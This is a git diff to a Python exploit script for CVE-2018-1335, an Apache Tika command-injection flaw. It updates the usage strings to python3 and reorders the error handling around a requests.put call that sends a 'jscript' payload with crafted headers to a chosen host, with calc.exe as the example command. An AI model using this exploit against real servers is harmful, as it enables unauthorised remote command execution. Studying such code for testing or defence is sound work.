diff --git a/CVE-2018-1335/CVE-2018-1335.py b/CVE-2018-1335/CVE-2018-1335.py index e0c1192..6574247 100644 --- a/CVE-2018-1335/CVE-2018-1335.py +++ b/CVE-2018-1335/CVE-2018-1335.py @@ -10,8 +10,8 @@ import requests if len(sys.argv) < 4: - print("Usage: python CVE-2018-1335.py ") - print("Example: python CVE-2018-1335.py localhost 9998 calc.exe") + print("Usage: python3 CVE-2018-1335.py ") + print("Example: python3 CVE-2018-1335.py localhost 9998 calc.exe") else: host = sys.argv[1] port = sys.argv[2] @@ -36,9 +36,9 @@ except: try: requests.put(f"http://{url}", headers=headers, data=jscript) + except: + print("Something went wrong.\nUsage: python3 CVE-2018-1335.py ") + try: + requests.put("http://"+url, headers=headers, data=jscript) except: print("Something went wrong.\nUsage: python CVE-2018-1335.py ") - try: - requests.put("http://"+url, headers=headers, data=jscript) - except: - print "Something went wrong.\nUsage: python CVE-2018-1335.py "